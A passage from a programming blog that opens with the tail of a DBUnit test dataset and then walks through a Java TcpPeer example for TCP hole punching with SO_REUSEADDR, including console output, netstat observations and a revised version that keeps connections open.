class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">EXTEND_TEXT</span>=<span class="Constant">"90091b1caee72b14c5269c9214e66dab"</span><span class="Identifier"> </span><span class="Type">TICKET_TYPE</span>=<span class="Constant">"1"</span><span class="Identifier">/></span>
<span class="lnr">5 </span> <span class="Identifier"><</span><span class="Identifier">TE_TICKET</span><span class="Identifier"> </span><span class="Type">ID</span>=<span class="Constant">"TICKET-113"</span><span class="Identifier"> </span><span class="Type">GAME_INSTANCE_ID</span>=<span class="Constant">"GII-113"</span><span class="Identifier"> </span><span class="Type">TRANSACTION_ID</span>=<span class="Constant">"TRANS-111"</span><span class="Identifier"> </span><span class="Type">VERSION</span>=<span class="Constant">"1"</span><span class="Identifier"> </span><span class="Type">SERIAL_NO</span>=<span class="Constant">"Dwl8yOheqKjhNA2RNW9GFQ=="</span><span class="Identifier"> </span><span class="Type">TOTAL_AMOUNT</span>=<span class="Constant">"2500.1"</span><span class="Identifier"> </span><span class="Type">IS_WINNING</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">STATUS</span>=<span class="Constant">"1"</span><span class="Identifier"> </span><span class="Type">PIN</span>=<span class="Constant">"f5e09f731f7dffc2a603a7b9b977b2ca"</span><span class="Identifier"> </span><span class="Type">IS_OFFLINE</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">IS_COUNT_IN_POOL</span>=<span class="Constant">"1"</span><span class="Identifier"> </span><span class="Type">IS_BLOCK_PAYOUT</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">SETTLEMENT_FLAG</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">OPERATOR_ID</span>=<span class="Constant">"OPERATOR-111"</span><span class="Identifier"> </span><span class="Type">DEV_ID</span>=<span class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">MERCHANT_ID</span>=<span class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">EXTEND_TEXT</span>=<span class="Constant">"90091b1caee72b14c5269c9214e66dab"</span><span class="Identifier"> </span><span class="Type">TICKET_TYPE</span>=<span class="Constant">"1"</span><span class="Identifier">/></span>
<span class="lnr">6 </span> <span class="Identifier"><</span><span class="Identifier">TE_TRANSACTION</span><span class="Identifier"> </span><span class="Type">OPERATOR_ID</span>=<span class="Constant">"OPERATOR-111"</span><span class="Identifier"> </span><span class="Type">GPE_ID</span>=<span class="Constant">"GPE-111"</span><span class="Identifier"> </span><span class="Type">DEV_ID</span>=<span class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">MERCHANT_ID</span>=<span class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">VERSION</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">TYPE</span>=<span class="Constant">"302"</span><span class="Identifier"> </span><span class="Type">TRACE_MESSAGE_ID</span>=<span class="Constant">"${TRACE_MSG_ID}"</span><span class="Identifier"> </span><span class="Type">RESPONSE_CODE</span>=<span class="Constant">"200"</span><span class="Identifier"> </span><span class="Type">TICKET_SERIAL_NO</span>=<span class="Constant">"${TICKET_SERIALNO}"</span><span class="Identifier"> </span><span class="Type">BATCH_NO</span>=<span class="Constant">"200901"</span><span class="Identifier"> </span><span class="Type">SETTLEMENT_FLAG</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">GAME_ID</span>=<span class="Constant">"GAME-111"</span><span class="Identifier">/></span>
<span class="lnr">7 </span><span class="Identifier"></dataset></span>
</pre>
There is another open source project <a href="http://www.unitils.org/summary.html">Unitils</a> which can make using DBunit easier, but it depends on too many third party projects which also depended by my own project, to avoid version conflict of same library, I refuse it. Actually once we have implemented BaseAcceptanceTest, the overhead of writing test code have been significantly decreased.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-24346890261689928912012-03-20T14:10:00.003+08:002012-03-20T14:10:47.820+08:00TCP Hole Punching, how to establish TCP connection across NATActually this post doesn't focus on how to establish a TCP connection across, however its concern is whether JAVA network API, especially TCP, supports using a single local port to listen for incoming TCP connections, and to initiate multiple outgoing TCP connections concurrently. Java really does it by SO_RESUEADDR, which is a socket option supports by all major operation systems.<br />
<br />
<blockquote class="tr_bq">
This post is heavily inspired by the paper "Peer-to-Peer Communication Across Network Address Translator" which published by Byran Ford, Pyda Srisuresh and Dan Kegel.</blockquote>
<b>Background</b><br />
When talking about P2P, we will easily associate it with another question, how does P2P traverse across NAT? Many people know STUN, and STUN on UDP is easier to implement, also easier to understand. But UDP has its cons, for example, many NATs may disable UDP protocal, and UDP is not so reliable as TCP.<br />
<br />
TCP hole punching(STUN on TCP) is more complicated to implement and understand, due to those we have mentioned at the beginning. Anyway we can use SO_RESUEADDR to achieve it.<br />
<br />
<b>Solution</b><br />
I will give a java implementation which will listen and initiate connection on a single local port. Code will explain my idea.<br />
<br />
<pre style="background-color: white; color: black; font-family: monospace;"><span class="lnr"> 1 </span><span class="PreProc">package</span> org.clinic4j.net;
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span><span class="PreProc">import</span> java.io.BufferedReader;
<span class="lnr"> 4 </span><span class="PreProc">import</span> java.io.IOException;
<span class="lnr"> 5 </span><span class="PreProc">import</span> java.io.InputStream;
<span class="lnr"> 6 </span><span class="PreProc">import</span> java.io.InputStreamReader;
<span class="lnr"> 7 </span><span class="PreProc">import</span> java.io.OutputStream;
<span class="lnr"> 8 </span><span class="PreProc">import</span> java.io.PrintWriter;
<span class="lnr"> 9 </span><span class="PreProc">import</span> java.net.InetSocketAddress;
<span class="lnr"> 10 </span><span class="PreProc">import</span> java.net.ServerSocket;
<span class="lnr"> 11 </span><span class="PreProc">import</span> java.net.Socket;
<span class="lnr"> 12 </span>
<span class="lnr"> 13 </span><span class="Comment">/**</span>
<span class="lnr"> 14 </span><span class="Comment"> *</span><span class="Special"> Just for testing socket SO_RESUEADDR.</span><span class="Comment"> If set SO_RESUEADDR to true, we can use</span>
<span class="lnr"> 15 </span><span class="Comment"> * a single local port to listen for incoming TCP connections, and to initiate</span>
<span class="lnr"> 16 </span><span class="Comment"> * multiple outgoing TCP connections concurrently. By this way we can implement</span>
<span class="lnr"> 17 </span><span class="Comment"> * TCP hole punching(establish P2P connection traversal through NAT over TCP).</span>
<span class="lnr"> 18 </span><span class="Comment"> */</span>
<span class="lnr"> 19 </span><span class="Type">public</span> <span class="Type">class</span> TcpPeer {
<span class="lnr"> 20 </span> <span class="Comment">// TCP port is a different source from UDP port, it means you can listen on</span>
<span class="lnr"> 21 </span> <span class="Comment">// same port for both TCP and UDP at the same time.</span>
<span class="lnr"> 22 </span> <span class="Type">private</span> <span class="Type">int</span> localport = <span class="Constant">7890</span>;
<span class="lnr"> 23 </span> <span class="Type">private</span> ServerSocket peerSock;
<span class="lnr"> 24 </span> <span class="Type">private</span> Socket serverSocket;
<span class="lnr"> 25 </span>
<span class="lnr"> 26 </span> <span class="Type">public</span> TcpPeer(<span class="Type">final</span> String serverHost, <span class="Type">final</span> <span class="Type">int</span> serverPort, <span class="Type">final</span> <span class="Type">int</span> localPort)
<span class="lnr"> 27 </span> <span class="Type">throws</span> Exception {
<span class="lnr"> 28 </span> <span class="Type">this</span>.localport = localPort;
<span class="lnr"> 29 </span>
<span class="lnr"> 30 </span> Thread server = <span class="Statement">new</span> Thread(<span class="Statement">new</span> Runnable() {
<span class="lnr"> 31 </span>
<span class="lnr"> 32 </span> <span class="PreProc">@Override</span>
<span class="lnr"> 33 </span> <span class="Type">public</span> <span class="Type">void</span> run() {
<span class="lnr"> 34 </span> <span class="Statement">try</span> {
<span class="lnr"> 35 </span> peerSock = <span class="Statement">new</span> ServerSocket();
<span class="lnr"> 36 </span> <b>peerSock.setReuseAddress(<span class="Constant">true</span>);</b>
<span class="lnr"> 37 </span> peerSock.bind(<span class="Statement">new</span> InetSocketAddress(<span class="Constant">"localhost"</span>, localport));
<span class="lnr"> 38 </span> System.out.println(<span class="Constant">"[Server]The server is listening on "</span> + localport + <span class="Constant">"."</span>);
<span class="lnr"> 39 </span>
<span class="lnr"> 40 </span> <span class="Statement">while</span> (<span class="Constant">true</span>) {
<span class="lnr"> 41 </span> <span class="Statement">try</span> {
<span class="lnr"> 42 </span> serverSocket = peerSock.accept();
<span class="lnr"> 43 </span> <span class="Comment">// just means finishing handshaking, and connection</span>
<span class="lnr"> 44 </span> <span class="Comment">// established.</span>
<span class="lnr"> 45 </span> System.out.println(<span class="Constant">"[Server]New connection accepted"</span>
<span class="lnr"> 46 </span> + serverSocket.getInetAddress() + <span class="Constant">":"</span> + serverSocket.getPort());
<span class="lnr"> 47 </span>
<span class="lnr"> 48 </span> BufferedReader br = getReader(serverSocket);
<span class="lnr"> 49 </span> PrintWriter pw = getWriter(serverSocket);
<span class="lnr"> 50 </span> String req = br.readLine();
<span class="lnr"> 51 </span> System.out.println(<span class="Constant">"[Server][REQ]"</span> + req);
<span class="lnr"> 52 </span> pw.println(req);
<span class="lnr"> 53 </span>
<span class="lnr"> 54 </span> pw.close();
<span class="lnr"> 55 </span> br.close();
<span class="lnr"> 56 </span> } <span class="Statement">catch</span> (IOException e) {
<span class="lnr"> 57 </span> e.printStackTrace();
<span class="lnr"> 58 </span> } <span class="Statement">finally</span> {
<span class="lnr"> 59 </span> <span class="Statement">try</span> {
<span class="lnr"> 60 </span> <span class="Statement">if</span> (serverSocket != <span class="Constant">null</span>)
<span class="lnr"> 61 </span> serverSocket.close();
<span class="lnr"> 62 </span> } <span class="Statement">catch</span> (IOException e) {
<span class="lnr"> 63 </span> e.printStackTrace();
<span class="lnr"> 64 </span> }
<span class="lnr"> 65 </span> }
<span class="lnr"> 66 </span> }
<span class="lnr"> 67 </span> } <span class="Statement">catch</span> (Exception e) {
<span class="lnr"> 68 </span> e.printStackTrace();
<span class="lnr"> 69 </span> }
<span class="lnr"> 70 </span> }
<span class="lnr"> 71 </span>
<span class="lnr"> 72 </span> });
<span class="lnr"> 73 </span> <span class="Comment">// server.setDaemon(true);</span>
<span class="lnr"> 74 </span> server.start();
<span class="lnr"> 75 </span>
<span class="lnr"> 76 </span> <span class="Comment">// sleep several seconds before launch of client</span>
<span class="lnr"> 77 </span> Thread.currentThread().sleep(<span class="Constant">5</span> * <span class="Constant">1000</span>);
<span class="lnr"> 78 </span>
<span class="lnr"> 79 </span> <span class="Type">final</span> <span class="Type">int</span> retry = <span class="Constant">5</span>;
<span class="lnr"> 80 </span> Thread client = <span class="Statement">new</span> Thread(<span class="Statement">new</span> Runnable() {
<span class="lnr"> 81 </span>
<span class="lnr"> 82 </span> <span class="PreProc">@Override</span>
<span class="lnr"> 83 </span> <span class="Type">public</span> <span class="Type">void</span> run() {
<span class="lnr"> 84 </span> Socket socket = <span class="Statement">new</span> Socket();
<span class="lnr"> 85 </span> <span class="Statement">try</span> {
<span class="lnr"> 86 </span> <b>socket.setReuseAddress(<span class="Constant">true</span>);</b>
<span class="lnr"> 87 </span> System.out.println(<span class="Constant">"[Client]socket.isBound():"</span> + socket.isBound());
<span class="lnr"> 88 </span> socket.bind(<span class="Statement">new</span> InetSocketAddress(<span class="Constant">"localhost"</span>, localport));
<span class="lnr"> 89 </span> <span class="Statement">for</span> (<span class="Type">int</span> i = <span class="Constant">1</span>; i < retry; i++) {
<span class="lnr"> 90 </span> <span class="Statement">try</span> {
<span class="lnr"> 91 </span> socket.connect(<span class="Statement">new</span> InetSocketAddress(serverHost, serverPort));
<span class="lnr"> 92 </span> System.out.println(<span class="Constant">"[Client]connect to "</span> + serverHost + <span class="Constant">":"</span>
<span class="lnr"> 93 </span> + serverPort + <span class="Constant">" successfully."</span>);
<span class="lnr"> 94 </span> <span class="Statement">break</span>;
<span class="lnr"> 95 </span> } <span class="Statement">catch</span> (Exception e) {
<span class="lnr"> 96 </span> System.out.println(<span class="Constant">"[Client]fail to connect "</span> + serverHost + <span class="Constant">":"</span>
<span class="lnr"> 97 </span> + serverPort + <span class="Constant">", try again."</span>);
<span class="lnr"> 98 </span> Thread.currentThread().sleep(i * <span class="Constant">2</span> * <span class="Constant">1000</span>);
<span class="lnr">100 </span> }
<span class="lnr">101 </span> }
<span class="lnr">102 </span>
<span class="lnr">103 </span> PrintWriter pw = getWriter(socket);
<span class="lnr">104 </span> String msg = <span class="Constant">"hello world!"</span>;
<span class="lnr">105 </span> pw.println(msg);
<span class="lnr">106 </span>
<span class="lnr">107 </span> BufferedReader br = getReader(socket);
<span class="lnr">108 </span> String resp = br.readLine();
<span class="lnr">109 </span> System.out.println(<span class="Constant">"[Client][RESP-1]"</span> + resp);
<span class="lnr">113 </span> pw.close();
<span class="lnr">114 </span> br.close();
<span class="lnr">115 </span> } <span class="Statement">catch</span> (Exception e) {
<span class="lnr">116 </span> e.printStackTrace();
<span class="lnr">117 </span> } <span class="Statement">finally</span> {
<span class="lnr">118 </span> <span class="Statement">try</span> {
<span class="lnr">119 </span> socket.close();
<span class="lnr">120 </span> } <span class="Statement">catch</span> (Exception e) {
<span class="lnr">121 </span> e.printStackTrace();
<span class="lnr">122 </span> }
<span class="lnr">123 </span> }
<span class="lnr">124 </span> }
<span class="lnr">125 </span>
<span class="lnr">126 </span> });
<span class="lnr">127 </span> client.start();
<span class="lnr">128 </span> }
<span class="lnr">129 </span>
<span class="lnr">130 </span> <span class="Type">private</span> PrintWriter getWriter(Socket socket) <span class="Type">throws</span> IOException {
<span class="lnr">131 </span> OutputStream socketOut = socket.getOutputStream();
<span class="lnr">132 </span> <span class="Statement">return</span> <span class="Statement">new</span> PrintWriter(socketOut, <span class="Constant">true</span>);
<span class="lnr">133 </span> }
<span class="lnr">134 </span>
<span class="lnr">135 </span> <span class="Type">private</span> BufferedReader getReader(Socket socket) <span class="Type">throws</span> IOException {
<span class="lnr">136 </span> InputStream socketIn = socket.getInputStream();
<span class="lnr">137 </span> <span class="Statement">return</span> <span class="Statement">new</span> BufferedReader(<span class="Statement">new</span> InputStreamReader(socketIn));
<span class="lnr">138 </span> }
<span class="lnr">139 </span>
<span class="lnr">140 </span> <span class="Type">public</span> <span class="Type">static</span> <span class="Type">void</span> main(String[] args) <span class="Type">throws</span> Exception {
<span class="lnr">141 </span> <span class="Statement">if</span> (args.length != <span class="Constant">3</span>) {
<span class="lnr">142 </span> System.out.println(<span class="Constant">"[Usage] java "</span> + TcpPeer.<span class="Type">class</span>.getCanonicalName()
<span class="lnr">143 </span> + <span class="Constant">" [serverHost] [serverPort] [localPort]"</span>);
<span class="lnr">144 </span> System.exit(<span class="Constant">0</span>);
<span class="lnr">145 </span> }
<span class="lnr">146 </span>
<span class="lnr">147 </span> <span class="Statement">new</span> TcpPeer(args[<span class="Constant">0</span>], Integer.parseInt(args[<span class="Constant">1</span>]), Integer.parseInt(args[<span class="Constant">2</span>]));
<span class="lnr">148 </span> }
<span class="lnr">149 </span>}
<span class="lnr">150 </span>
</pre>
Now we launch 2 jvm processes:<br />
<b>ps#1</b>> java org.clinic4j.net.TcpPeer locahost 2000 4000<br />
<b>ps#2</b>> java org.clinic4j.net.TcpPeer locahost 4000 2000<br />
<br />
Finally when 2 processes got stable, they will give below outputs:<br />
<b>ps#1</b>><br />
<div style="background-color: white; border-style: dotted; border-width: 1px;">
[Server]The server is listening on 2000.<br />
[Client]socket.isBound():false<br />
[Client]connect to localhost:4000 successfully.<br />
[Client][RESP-1]hello world!</div>
<div>
<b>ps#2</b>><br />
<div style="background-color: white; border-style: dotted; border-width: 1px;">
[Server]The server is listening on 4000.<br />
[Server]New connection accepted/127.0.0.1:2000<br />
[Server][REQ]hello world!<br />
[Client]socket.isBound():false<br />
[Client]fail to connect localhost:2000, try again.<br />
[Client]fail to connect localhost:2000, try again.<br />
[Client]fail to connect localhost:2000, try again.<br />
[Client]fail to connect localhost:2000, try again.<br />
java.net.SocketException: Socket is not connected<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.net.Socket.getOutputStream(Socket.java:816)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.clinic4j.net.TcpPeer.getWriter(TcpPeer.java:136)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.clinic4j.net.TcpPeer.access$6(TcpPeer.java:135)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at org.clinic4j.net.TcpPeer$2.run(TcpPeer.java:108)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>at java.lang.Thread.run(Thread.java:619)</div>
<div>
<br /></div>
<div>
From the output, we can figure out that interaction flow as below:<br />
<ol>
<li>ps#1 listen on 2000.</li>
<li>ps#2 listen on 4000.</li>
<li>ps#1 connect to ps#2, from localhost:2000 -> localhost:4000.</li>
<li>ps#2 close the connection which established at step#3. </li>
<li>ps#2 try to connect to ps#1 at 2000, failed!</li>
</ol>
<div>
Why ps#2 cannot connect to ps#1 at step#4? I cannot make a simple conclusion, actually i just suspect it is caused by the underlying TCP stack mechanism.<br />
<br />
Lets check what is netstat right after step#3.<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiCFupVnayECg-FrDdguGEZpgaAd6Ao2unwYmR3PylpYCZbwwYJtHE04fESrhLotwUuAOK6X2bBmwR7wnfibS11F5eBLDaisPrDZZIrRWlNCnWipWgTr6Cs-nmu9gOmsBX5YV7gw/s1600/netstat.GIF" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiCFupVnayECg-FrDdguGEZpgaAd6Ao2unwYmR3PylpYCZbwwYJtHE04fESrhLotwUuAOK6X2bBmwR7wnfibS11F5eBLDaisPrDZZIrRWlNCnWipWgTr6Cs-nmu9gOmsBX5YV7gw/s1600/netstat.GIF" /></a></div>
When ps#1 connects to ps#2, there are 2 established TCP connections, "192.168.2.197:2000 -> 192.168.2.107:4000" is used for ps#1 to send request to ps#2, and "192.168.2.107:4000 -> 192.168.2.107:2000" is used for ps#2 to response to ps#1.<br />
<br />
Then what is the net status right after step#4?<br />
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaX4pr0Wo-_ZhnQbUzz1JECNwtxSOeqOznqAUoimgrb2fh4V6P7DDAYTll1BAwKH__oL1pqx1wybWYS1BWCgbD_MUvh8oJMNv8ttUYtqWBqRV_1v_4MzKduZJxWZViPCCmUUw-UQ/s1600/netstat2.GIF" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaX4pr0Wo-_ZhnQbUzz1JECNwtxSOeqOznqAUoimgrb2fh4V6P7DDAYTll1BAwKH__oL1pqx1wybWYS1BWCgbD_MUvh8oJMNv8ttUYtqWBqRV_1v_4MzKduZJxWZViPCCmUUw-UQ/s1600/netstat2.GIF" /></a></div>
<span style="font-size: x-small;">* 192.168.2.107 is localhost</span><br />
Now we can see TCP connection(127.0.0.1:4000->127.0.0.1:2000) is TIME_WAIT, and the other one(127.0.0.1:2000->127.0.0.1:4000) is already closed and re-collected by operation system.<br />
<br />
My suspicion is when ps#2 try to connect to ps#1, the connection(127.0.0.1:4000->127.0.0.1:2000) cannot be established, as it is still TIME_WAIT, that is why I got failure at step#5(pls give your comments). <b>Does it means if we keep retrying step#5 till (127.0.0.1:4000->127.0.0.1:2000) is closed, the connection will be established??(seem not such case)</b><br />
<b><br /></b><br />
<b>Fix</b><br />
As at step#4 I closed the connection, it will caused a underlying TCP connection to TIME_WAIT, in the fixed revision, I will just keep the connection up.</div>
</div>
</div>
<pre style="background-color: white;"><span class="lnr"> 1 </span>package org.clinic4j.net;
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span>import java.io.BufferedReader;
<span class="lnr"> 4 </span>import java.io.IOException;
<span class="lnr"> 5 </span>import java.io.InputStream;
<span class="lnr"> 6 </span>import java.io.InputStreamReader;
<span class="lnr"> 7 </span>import java.io.OutputStream;
<span class="lnr"> 8 </span>import java.io.PrintWriter;
<span class="lnr"> 9 </span>import java.net.InetSocketAddress;
<span class="lnr"> 10 </span>import java.net.ServerSocket;
<span class="lnr"> 11 </span>import java.net.Socket;
<span class="lnr"> 12 </span>
<span class="lnr"> 13 </span>/**
<span class="lnr"> 14 </span> * Just for testing socket SO_RESUEADDR. If set SO_RESUEADDR to true, we can use
<span class="lnr"> 15 </span> * a single local port to listen for incoming TCP connections, and to initiate
<span class="lnr"> 16 </span> * multiple outgoing TCP connections concurrently. By this way we can implement
<span class="lnr"> 17 </span> * TCP hole punching(establish P2P connection traversal through NAT over TCP).
<span class="lnr"> 18 </span> */
<span class="lnr"> 19 </span>public class TcpPeer {
<span class="lnr"> 20 </span> // TCP port is a different source from UDP port, it means you can listen on
<span class="lnr"> 21 </span> // same port for both TCP and UDP at the same time.
<span class="lnr"> 22 </span> private int localport = 7890;
<span class="lnr"> 23 </span> private ServerSocket peerSock;
<span class="lnr"> 24 </span> private Socket serverSocket;
<span class="lnr"> 25 </span>
<span class="lnr"> 26 </span> public TcpPeer(final String serverHost, final int serverPort, final int localPort)
<span class="lnr"> 27 </span> throws Exception {
<span class="lnr"> 28 </span> this.localport = localPort;
<span class="lnr"> 29 </span>
<span class="lnr"> 30 </span> Thread server = new Thread(new Runnable() {
<span class="lnr"> 31 </span>
<span class="lnr"> 32 </span> @Override
<span class="lnr"> 33 </span> public void run() {
<span class="lnr"> 34 </span> try {
<span class="lnr"> 35 </span> peerSock = new ServerSocket();
<span class="lnr"> 36 </span> peerSock.setReuseAddress(true);
<span class="lnr"> 37 </span> peerSock.bind(new InetSocketAddress("localhost", localport));
<span class="lnr"> 38 </span> System.out.println("[Server]The server is listening on " + localport + ".");
<span class="lnr"> 39 </span>
<span class="lnr"> 40 </span> while (true) {
<span class="lnr"> 41 </span> try {
<span class="lnr"> 42 </span> serverSocket = peerSock.accept();
<span class="lnr"> 43 </span> // just means finishing handshaking, and connection
<span class="lnr"> 44 </span> // established.
<span class="lnr"> 45 </span> System.out.println("[Server]New connection accepted"
<span class="lnr"> 46 </span> + serverSocket.getInetAddress() + ":" + serverSocket.getPort());
<span class="lnr"> 47 </span>
<span class="lnr"> 48 </span> BufferedReader br = getReader(serverSocket);
<span class="lnr"> 49 </span> PrintWriter pw = getWriter(serverSocket);
<span class="lnr"> 50 </span> String req = br.readLine();
<span class="lnr"> 51 </span> System.out.println("[Server][REQ]" + req);
<span class="lnr"> 52 </span> pw.println(req);
<span class="lnr"> 53 </span>
<span style="color: #0b5394;"><span class="lnr"> 54 </span>// pw.close();
<span class="lnr"> 55 </span>// br.close();</span>
<span class="lnr"> 56 </span> } catch (IOException e) {
<span class="lnr"> 57 </span> e.printStackTrace();
<span class="lnr"> 58 </span> } finally {
<span style="color: #0b5394;"><span class="lnr"> 59 </span>// try {
<span class="lnr"> 60 </span>// if (serverSocket != null)
<span class="lnr"> 61 </span>// serverSocket.close();
<span class="lnr"> 62 </span>// } catch (IOException e) {
<span class="lnr"> 63 </span>// e.printStackTrace();
<span class="lnr"> 64 </span>// }</span>
<span class="lnr"> 65 </span> }
<span class="lnr"> 66 </span> }
<span class="lnr"> 67 </span> } catch (Exception e) {
<span class="lnr"> 68 </span> e.printStackTrace();
<span class="lnr"> 69 </span> }
<span class="lnr"> 70 </span> }
<span class="lnr"> 71 </span>
<span class="lnr"> 72 </span> });
<span class="lnr"> 73 </span> // server.setDaemon(true);
<span class="lnr"> 74 </span> server.start();
<span class="lnr"> 75 </span>
<span class="lnr"> 76 </span> Thread.currentThread();
<span class="lnr"> 77 </span> // sleep several seconds before launch of client
<span class="lnr"> 78 </span> Thread.sleep(5 * 1000);
<span class="lnr"> 79 </span>
<span class="lnr"> 80 </span> final int retry = 5;
<span class="lnr"> 81 </span> Thread client = new Thread(new Runnable() {
<span class="lnr"> 82 </span>
<span class="lnr"> 83 </span> @Override
<span class="lnr"> 84 </span> public void run() {
<span class="lnr"> 85 </span> Socket socket = new Socket();
<span class="lnr"> 86 </span> try {
<span class="lnr"> 87 </span> socket.setReuseAddress(true);
<span class="lnr"> 88 </span> System.out.println("[Client]socket.isBound():" + socket.isBound());
<span class="lnr"> 89 </span> socket.bind(new InetSocketAddress("localhost", localport));
<span class="lnr"> 90 </span> for (int i = 1; i < retry; i++) {
<span class="lnr"> 91 </span> try {
<span class="lnr"> 92 </span> socket.connect(new InetSocketAddress(serverHost, serverPort));
<span class="lnr"> 93 </span> System.out.println("[Client]connect to " + serverHost + ":"
<span class="lnr"> 94 </span> + serverPort + " successfully.");
<span class="lnr"> 95 </span> break;
<span class="lnr"> 96 </span> } catch (Exception e) {
<span class="lnr"> 97 </span> System.out.println("[Client]fail to connect " + serverHost + ":"
<span class="lnr"> 98 </span> + serverPort + ", try again.");
<span class="lnr"> 99 </span> Thread.currentThread().sleep(i * 2 * 1000);
<span class="lnr">100 </span> /**
<span class="lnr">101 </span> * PeerA and PeerB
<span class="lnr">102 </span> * <p>
<span class="lnr">103 </span> * Alternatively, A's TCP implementation might
<span class="lnr">104 </span> * instead notice that A has an active listen socket
<span class="lnr">105 </span> * on that port waiting for incoming connection
<span class="lnr">106 </span> * attempts. Since B's SYN looks like an incoming
<span class="lnr">107 </span> * connection attempt, A's TCP creates a new stream
<span class="lnr">108 </span> * socket with which to associate the new TCP
<span class="lnr">109 </span> * session, and hands this new socket to the
<span class="lnr">110 </span> * application via the application's next accept()
<span class="lnr">111 </span> * call on its listen socket. A's TCP then responds
<span class="lnr">112 </span> * to B with a SYN-ACK as above, and TCP connection
<span class="lnr">113 </span> * setup proceeds as usual for client/server-style
<span class="lnr">114 </span> * connections.
<span class="lnr">115 </span> * <p>
<span class="lnr">116 </span> * Since A's prior outbound connect() attempt to B
<span class="lnr">117 </span> * used a combination of source and destination
<span class="lnr">118 </span> * endpoints that is now in use by another socket,
<span class="lnr">119 </span> * namely the one just returned to the application
<span class="lnr">120 </span> * via accept(), A's asynchronous connect() attempt
<span class="lnr">121 </span> * must fail at some point, typically with an
<span class="lnr">122 </span> * “address in use” error. The application
<span class="lnr">123 </span> * nevertheless has the working peer-to- peer stream
<span class="lnr">124 </span> * socket it needs to communicate with B, so it
<span class="lnr">125 </span> * ignores this failure.
<span class="lnr">126 </span> */
<span style="color: #0b5394;"><span class="lnr">127 </span> if (i == retry - 1) {
<span class="lnr">128 </span> System.out
<span class="lnr">129 </span> .println("[Client]Use the socket returned by ServerSocket.");
<span class="lnr">130 </span>
<span class="lnr">131 </span> socket = serverSocket;
<span class="lnr">132 </span> }</span>
<span class="lnr">133 </span> }
<span class="lnr">134 </span> }
<span class="lnr">135 </span>
<span class="lnr">136 </span> PrintWriter pw = getWriter(socket);
<span class="lnr">137 </span> String msg = "hello world!";
<span class="lnr">138 </span> pw.println(msg);
<span class="lnr">139 </span>
<span class="lnr">140 </span> /**
<span class="lnr">141 </span> * Got response from the server socket.
<span class="lnr">142 </span> */
<span class="lnr">143 </span> BufferedReader br = getReader(socket);
<span class="lnr">144 </span> String resp = br.readLine();
<span class="lnr">145 </span> System.out.println("[Client][RESP-1]" + resp);
<span class="lnr">146 </span>
<span class="lnr">147 </span> /**
<span class="lnr">148 </span> * The client thread of other process will send request. If
<span class="lnr">149 </span> * fail to establish connection with other peer, the Socket
<span class="lnr">150 </span> * return by the ServerSocket will be used.
<span class="lnr">151 </span> */
<span class="lnr">152 </span> resp = br.readLine();
<span class="lnr">153 </span> System.out.println("[Client][RESP-2]" + resp);
<span style="color: #0b5394;"><span class="lnr">154 </span>// pw.close();
<span class="lnr">155 </span>// br.close();</span>
<span class="lnr">156 </span> } catch (Exception e) {
<span class="lnr">157 </span> e.printStackTrace();
<span class="lnr">158 </span> } finally {
<span style="color: #0b5394;"><span class="lnr">159 </span>// try {
<span class="lnr">160 </span>// socket.close();
<span class="lnr">161 </span>// } catch (Exception e) {
<span class="lnr">162 </span>// e.printStackTrace();
<span class="lnr">163 </span>// }</span>
<span class="lnr">164 </span> }
<span class="lnr">165 </span> }
<span class="lnr">166 </span>
<span class="lnr">167 </span> });
<span class="lnr">168 </span> client.start();
<span class="lnr">169 </span> }
<span class="lnr">170 </span>
<span class="lnr">171 </span> private PrintWriter getWriter(Socket socket) throws IOException {
<span class="lnr">172 </span> OutputStream socketOut = socket.getOutputStream();
<span class="lnr">173 </span> return new PrintWriter(socketOut, true);
<span class="lnr">174 </span> }
<span class="lnr">175 </span>
<span class="lnr">176 </span> private BufferedReader getReader(Socket socket) throws IOException {
<span class="lnr">177 </span> InputStream socketIn = socket.getInputStream();
<span class="lnr">178 </span> return new BufferedReader(new InputStreamReader(socketIn));
<span class="lnr">179 </span> }
<span class="lnr">180 </span>
<span class="lnr">181 </span> public static void main(String[] args) throws Exception {
<span class="lnr">182 </span> if (args.length != 3) {
<span class="lnr">183 </span> System.out.println("[Usage] java " + TcpPeer.class.getCanonicalName()
<span class="lnr">184 </span> + " [serverHost] [serverPort] [localPort]");
<span class="lnr">185 </span> System.exit(0);
<span class="lnr">186 </span> }
<span class="lnr">187 </span>
<span class="lnr">188 </span> new TcpPeer(args[0], Integer.parseInt(args[1]), Integer.parseInt(args[2]));
<span class="lnr">189 </span> }
<span class="lnr">190 </span>}
<span class="lnr">191 </span>
</pre>
<span class="lnr">You can see, I have commented those codes which will close connection, and also reuse the Socket returned by ServerSocket if cannot connect with the other peer. And at this time, it works as my expectation.</span>
<br />
<b>ps#1</b>><br />
<div style="background-color: white; border-style: dotted; border-width: 1px;">
[Server]The server is listening on 2000.<br />
[Client]socket.isBound():false<br />
[Client]connect to localhost:4000 successfully.<br />
[Client][RESP-1]hello world!<br />
[Client][RESP-2]hello world!</div>
<b>ps#2</b>><br />
